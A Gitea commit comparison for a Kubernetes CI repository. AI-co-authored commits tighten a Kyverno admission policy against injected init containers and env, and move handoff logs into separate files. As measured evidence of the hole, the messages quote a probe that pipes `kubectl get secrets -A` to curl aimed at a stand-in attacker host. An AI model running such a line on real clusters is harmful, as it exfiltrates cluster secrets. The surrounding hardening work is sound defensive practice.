Compare commits

...
Author SHA1 Message Date
jakman85andClaude Opus 5 11a74cce53 docs(decisions): the PR #20 handoff moves out of DECISIONS-LOG.md into its own file
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
The ~400-line append this branch made to DECISIONS-LOG.md's tail is what made PR #20
unmergeable: every concurrent branch appends to the same last hunk, and on 2026-09-29
four of the five open PRs conflicted on that one file and nothing else. The prose is
unchanged in substance -- it moves to decisions/2026-09-29-conformance-job-template.md,
the one-file-per-handoff layout PR #24 introduces -- and DECISIONS-LOG.md is no longer
touched by this branch at all.

Carried over in full, including every caveat: the initContainers/ephemeralContainers/env
finding and its measurements, the fixture matrix (65 pass / 13 fail / 0 error / 0 skip),
the hardcoded-clone-URL reasoning, the args shapes that cannot run in-cluster, the
`approval-policy` check that does not exist, and all of the UNVERIFIED items -- nothing
has executed against a cluster, the runner image and Secret do not exist, PR #18 must
merge first, and whether the API server even accepts ephemeralContainers in a Job pod
template is still unestablished.

One claim was WEAKENED rather than restated, per ci/l0.sh's own lesson: `kyverno test`
exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD (every row becomes
Skip / Invalid Policy), which was measured while authoring this very policy. The entry
now says explicitly that the admission proofs rest on `kyverno apply`'s `error: 0,
skip: 0` counts, not on any exit code, and that a green l0 line would not by itself have
established that these rules loaded.

Format is decisions/README.md's: frontmatter (date, branch, title) plus the three
sections ci/decisions-log.sh enforces. The branch is rebased onto main at c59fe9f,
after #24 merged, so that stage is in the base and DID run against this entry.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + ENGINE shim): spec-immutability, decisions-log
(archive frozen, 2 entries well-formed), lint (404 files), l0, render-golden (10),
l1 all green; gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and conformance L2/L3
SKIPPED (CLUSTER_AVAILABLE unset); MERGE GATE UNDETERMINED -- stages that did not run:
gitea-settings -- rc 3. Nothing FAILED, and rc 3 is not green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:51:45 -05:00
jakman85andClaude Opus 5 9f018aa101 fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:44 -05:00
jakman85andClaude Opus 5 b1c99e51bb feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:44 -05:00
jakman85 c59fe9f923 Merge pull request 'chore(log): the handoff log was serialising every parallel branch' (#24) from chore/decisions-log-conflict-free into main
gate / gate (push) Successful in 1m38s
gate / conformance (push) Has been skipped
Reviewed-on: #24
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:40:18 +00:00
jakman85andClaude Opus 5 72a46ad82d chore(log): the handoff log was serialising every parallel branch
gate / gate (pull_request) Successful in 1m35s
gate / conformance (pull_request) Has been skipped
DECISIONS-LOG.md was append-only in ONE file and every agent appended to its
tail, so any two concurrent branches collided on the same last hunk. Measured
against the live Gitea today: four of the five open PRs were mergeable=false,
and `git merge-tree` named DECISIONS-LOG.md as the ONLY conflicting path in
all four.

    #22 fix/crafty-oauth2-proxy-signin       CONFLICT: DECISIONS-LOG.md
    #20 feat/conformance-job-template        CONFLICT: DECISIONS-LOG.md
    #19 feat/conformance-trigger-kubeconfig  CONFLICT: DECISIONS-LOG.md
    #18 feat/conformance-runner-image        CONFLICT: DECISIONS-LOG.md
    #17 feat/ci-is-the-approver              clean — it wrote no handoff

Nothing was wrong with any of those changes. The log's storage format
serialised work that was otherwise parallel, and the cost grew with every
concurrent branch (N branches -> N-1 rebases, each invalidating the gate run
before it). The agents work in isolated worktrees precisely so they do not
block each other; this one file undid that.

So: stop sharing a file. Handoffs are now one-per-file under decisions/,
named YYYY-MM-DD-<slug>.md. Disjoint paths have nothing to merge. There is
deliberately no index file (a shared mutable file is the thing that just
failed) and no counter (two agents would race for the same number) — the
directory listing is the index.

DECISIONS-LOG.md is frozen as the pre-2026-09-29 archive, its SHA-256 pinned
in decisions/ARCHIVE.sha256, and a new gate stage rejects any change to it.
That is a guard and not a paragraph because the old habit is written into the
runbooks and into every agent that has read the log, and getting it wrong does
not fail: it produces a clean-looking commit that re-creates the conflict on
OTHER branches, later, misattributed.

  ci/decisions-log.sh        new stage: archive pinned; every entry named with
                             a real date, carrying date/branch/title frontmatter
                             that agrees with its filename, and all three of
                             CLAUDE.md §7's sections with a real body under each.
                             Exit 0 or 1 only — no skip path by construction, so
                             no fail-open surface on a guard that closes one.
  ci/gate.sh                 runs it; fail and (impossible) skip both BLOCK.
                             No REQUIRE_DECISIONS_LOG knob: a guard with an off
                             switch is not a guard.
  ci/tests/decisions-log.test.sh   22 assertions, incl. the one that matters —
                             an append to the archive is rejected, and the
                             message names the file to write instead.
  ci/tests/gate-decision.test.sh   +3 assertions for the new wiring, AND a
                             pre-existing bug: the stub list never included
                             gitea-settings, so run_stage saw exit 127 and
                             recorded a FAILED stage in every case. 15 of 47
                             assertions failed on main for that reason alone —
                             the suite was measuring its own missing stub.
                             Now 50/50.
  CLAUDE.md                  §7 rewritten; §2b widened to the new path.
  ci/Makefile, ci/README.md, .gitea/workflows/README.md — stage named where
                             the other stages are named.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:35:55 -05:00
jakman85 cadf64a514 Merge pull request 'docs(ci): the wiring comment named a secret Gitea cannot accept' (#21) from fix/gitea-settings-comment-names-impossible-secret into main
gate / gate (push) Successful in 1m36s
gate / conformance (push) Has been skipped
Reviewed-on: #21
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:22:06 +00:00
jakman85 cfbc596b8b Merge pull request 'docs(crafty): Bedrock on 19132 RESOLVED — a player has joined; the wall was an empty allowlist' (#23) from fix/crafty-bedrock-19132 into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #23
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:19:04 +00:00
jakman85andClaude Opus 5 e993d0f7d1 docs(ci): the wiring comment named a secret Gitea cannot accept
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
ci/gitea-settings.sh told the reader to "create a Gitea repo secret
GITEA_SETTINGS_TOKEN". That instruction is IMPOSSIBLE to follow: Gitea reserves the
GITEA_ prefix for secret names and rejects the PUT with HTTP 400 "invalid secret name".

Same defect as the one fixed in PR #15 and in the README in PR #19 -- this was the third
file carrying it, found by an agent reading the file rather than trusting my description
of it. A comment that instructs an impossible action is not cosmetic: this exact wrong
name is why the drift detector sat inert while a token existed and no secret did.

Now names SETTINGS_API_TOKEN, and states explicitly that GITEA_SETTINGS_TOKEN remains
honoured ONLY as a local-run env var -- it can never be the CI wiring, because the secret
that would feed it cannot exist.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:30:35 -05:00
21 changed files with 2071 additions and 69 deletions

No files matched your search

+1 -1
View File
@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
## The pipeline
```
lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
live now cluster-gated (SKIPS in Phase 0)
```
+33 -9
View File
@@ -1,7 +1,7 @@
# CLAUDE.md — how work lands in this repo
Read this before doing anything durable. It is the delivery contract for AI coding
sessions and agents. `DECISIONS-LOG.md`'s last entry is the current PM handoff and
sessions and agents. The newest entry in `decisions/` is the current PM handoff and
takes precedence on *what* to work on; this file governs *how* it lands.
## 1. Never push to `main`. Ever.
@@ -48,9 +48,10 @@ reports as `success`, so a green tick is not by itself evidence that anything ra
## 2b. Never infer platform state from this repository
**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
Both describe what someone believed at the time of writing, and both have been
confidently wrong for a month at a stretch.
**This repo is not evidence about the live platform.** Neither is the handoff log
(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
believed at the time of writing, and both have been confidently wrong for a month at a
stretch.
On 2026-09-29 the log stated the merge gate was a required status check with a runner
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
@@ -139,9 +140,32 @@ invocations concurrently.
flow. Do not design around committing one — read the expiry from the issuing page and
treat a burnt token as free to retry.
## 7. Before you finish
## 7. Before you finish — write a handoff entry, in its OWN file
Append a handoff entry to `DECISIONS-LOG.md` describing what you changed, what you
verified, and what you did **not** verify. State gaps plainly — an honest
"UNVERIFIED" is worth more than an optimistic "green", and this repo has already been
burned by the difference.
Add **one new file**:
decisions/YYYY-MM-DD-<slug>.md <slug> = your branch's last segment
with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
## What changed
## What I verified
## What I did NOT verify
State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
and this repo has already been burned by the difference. All three headings are
**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
Template and full rationale: `decisions/README.md`.
**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
to it. Appending to its tail is what every agent used to do, and because every branch
appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
anything to do with each other. Separate files have nothing to merge, which is the
entire fix. Note that the damage from getting this wrong lands on *other people's*
branches, later, which is why it is a gate stage and not a request.
Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
wording is **stale**, in the same way §1's `git push origin main` wording is stale.
+13
View File
@@ -1,3 +1,16 @@
> **FROZEN ARCHIVE — 2026-08-16 … 2026-09-29. Do not append to this file.**
>
> New handoff entries go in **`decisions/`**, one file per entry
> (`decisions/YYYY-MM-DD-<slug>.md`). See [`decisions/README.md`](decisions/README.md).
>
> Why: every agent appended to this file's tail, so any two concurrent branches
> conflicted on the same last hunk. On 2026-09-29 that made four of the five open PRs
> unmergeable, with this file as the *only* conflicting path in all four. Separate files
> have nothing to merge.
>
> This file's SHA-256 is pinned in `decisions/ARCHIVE.sha256` and the merge gate
> (`ci/decisions-log.sh`) rejects any change to it.
# Autonomous Session Decision Log (PM)
Program Manager working independently while the operator is AFK (started 2026-08-16). Every
+4 -1
View File
@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
.DEFAULT_GOAL := help
.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
help: ## Show this help
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
@@ -29,6 +29,9 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
@"$(CI_DIR)render-golden.sh"
decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
@"$(CI_DIR)decisions-log.sh"
l1: ## L1 rendering checks (no cluster; live now)
@"$(CI_DIR)l1.sh"
+1
View File
@@ -101,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
|---|---|---|
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
+195
View File
@@ -0,0 +1,195 @@
#!/usr/bin/env bash
# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
#
# WHY THIS STAGE EXISTS
# ---------------------
# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
#
# #22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
# #20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
# #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
# #18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
# #17 feat/ci-is-the-approver clean — it wrote no handoff entry
#
# Nothing was wrong with any of those changes. The log's storage format serialised work that
# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
# rebases, each invalidating the gate run before it).
#
# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
# disjoint paths and there is nothing to merge. See decisions/README.md.
#
# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
# --------------------------------------------
# The old habit is written into this repo in many places — the runbooks, the muscle memory of
# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
# that quietly re-creates the conflict for every other open branch, and the damage is only
# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
# it gets a guard rather than a paragraph.
#
# WHAT IS ASSERTED
# (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
# Re-pinning is a deliberate, reviewable line in a diff; appending is not.
# (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
# directory sorts chronologically and two agents cannot collide on a filename.
# (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
# filename — a disagreement means a copied template nobody edited.
# (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
# "What changed", "What I verified", "What I did NOT verify". This is the quality floor
# that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
# this repo's recurring failure is a confident report of something nobody measured, and an
# entry with nowhere to write "UNVERIFIED" does not get one written.
#
# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
# add a fail-open surface to a guard whose whole job is to close one.
set -uo pipefail
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# shellcheck disable=SC1091
source "${CI_DIR}/lib.sh"
set +e # aggregate every problem in one run; do not stop at the first.
cd "$REPO_ROOT"
ARCHIVE="DECISIONS-LOG.md"
PIN="decisions/ARCHIVE.sha256"
rc=0
# ---- (1) the archive is frozen ----------------------------------------------
log "Stage: decisions log (archive frozen + entries well-formed)"
if [ ! -f "$ARCHIVE" ]; then
err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
rc=1
elif [ ! -f "$PIN" ]; then
err "${PIN} is missing, so the archive's integrity cannot be established."
err " If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
rc=1
else
want="$(awk 'NR==1{print $1}' "$PIN")"
got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
if [ "$want" != "$got" ]; then
err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
err " pinned: ${want}"
err " on disk: ${got}"
err ""
err " Every branch that appends to this file's tail conflicts with every other branch that"
err " does, on the same hunk. That is what made four of five open PRs unmergeable on"
err " 2026-09-29, and your commit would re-create it for branches that are not yours."
err ""
err " Write your handoff as its OWN FILE instead:"
err " decisions/\$(date +%F)-<your-branch-slug>.md (see decisions/README.md)"
err " and restore the archive: git checkout -- ${ARCHIVE}"
err ""
err " If the archive genuinely must change (redacting a leaked credential, say), that is a"
err " reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
rc=1
else
ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
fi
fi
# ---- (2)(3)(4) every entry is well-formed ------------------------------------
shopt -s nullglob
entries=( decisions/[0-9]*.md )
shopt -u nullglob
# Zero entries is legitimate only until the first handoff lands; after that the glob always
# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
# CLAUDE.md, not this stage, is what asks for one.
if [ "${#entries[@]}" -eq 0 ]; then
log "no decisions/ entries yet"
fi
REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
for f in "${entries[@]}"; do
base="${f#decisions/}"
# (2) filename
if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
err " Use your branch's last segment as the slug — it is already unique per unit of work."
summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
rc=1
continue
fi
fname_date="${BASH_REMATCH[1]}"
if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
err "${f}: '${fname_date}' is not a real calendar date."
summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
rc=1
continue
fi
# (3) frontmatter
if [ "$(head -1 "$f")" != "---" ]; then
err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
err " See decisions/README.md for the template."
summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
rc=1
continue
fi
fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
missing_keys=()
for k in date branch title; do
grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
done
if [ "${#missing_keys[@]}" -gt 0 ]; then
err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
rc=1
continue
fi
fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
if [ "$fm_date" != "$fname_date" ]; then
err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
err " One of them was copied from a template and not edited; the log's ordering depends on both."
summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
rc=1
continue
fi
# (4) the three required sections, each with a real body
body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
[ -n "$body_start" ] || body_start=1
for want_sec in "${REQUIRED_SECTIONS[@]}"; do
hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
if [ -z "$hdr_line" ]; then
err "${f}: missing the required section '## ${want_sec}'."
err " CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
err " All three are structure here, because the third is the one that gets dropped."
summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
rc=1
continue
fi
# A real body: at least 20 non-blank, non-heading characters before the next '## '.
nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
| tr -d '[:space:]' | wc -c)"
if [ "$nchars" -lt 20 ]; then
err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
err " If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
err " is a valid and useful entry. A blank section is not."
summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
rc=1
fi
done
done
if [ "$rc" -eq 0 ]; then
ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
else
err "decisions log stage FAILED"
fi
exit "$rc"
+17
View File
@@ -108,6 +108,7 @@ summary "## Merge gate (R-TEST-03)"
summary ""
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
run_stage decisions-log "${CI_DIR}/decisions-log.sh"
run_stage lint "${CI_DIR}/lint.sh"
run_stage l0 "${CI_DIR}/l0.sh"
run_stage render-golden "${CI_DIR}/render-golden.sh"
